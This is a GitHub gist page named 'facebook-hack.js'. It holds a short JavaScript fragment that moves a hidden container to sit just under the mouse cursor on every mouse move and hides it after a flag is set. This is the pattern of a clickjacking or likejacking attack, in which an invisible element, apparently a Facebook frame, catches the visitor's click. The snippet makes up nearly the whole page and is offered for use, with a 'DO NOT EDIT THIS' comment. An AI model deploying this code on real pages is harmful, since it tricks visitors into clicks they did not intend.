Skip to content

Instantly share code, notes, and snippets.

@vinhboy
Created June 1, 2010 04:32
Show Gist options
  • Save vinhboy/420564 to your computer and use it in GitHub Desktop.
Save vinhboy/420564 to your computer and use it in GitHub Desktop.
facebook-hack.js
function mouseFollower(e){
/* DO NOT EDIT THIS */
if (window.event)
{ // for IE
icontainer.style.top = (window.event.y-5)+standardbody.scrollTop+'px';
icontainer.style.left = (window.event.x-5)+standardbody.scrollLeft+'px';
}
else
{
icontainer.style.top = (e.pageY-5)+'px';
icontainer.style.left = (e.pageX-5)+'px';
}
}
document.onmousemove = function(e) {
if (iflag == 0) {mouseFollower(e);}
else
{
icontainer.style.display = 'none'; }
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment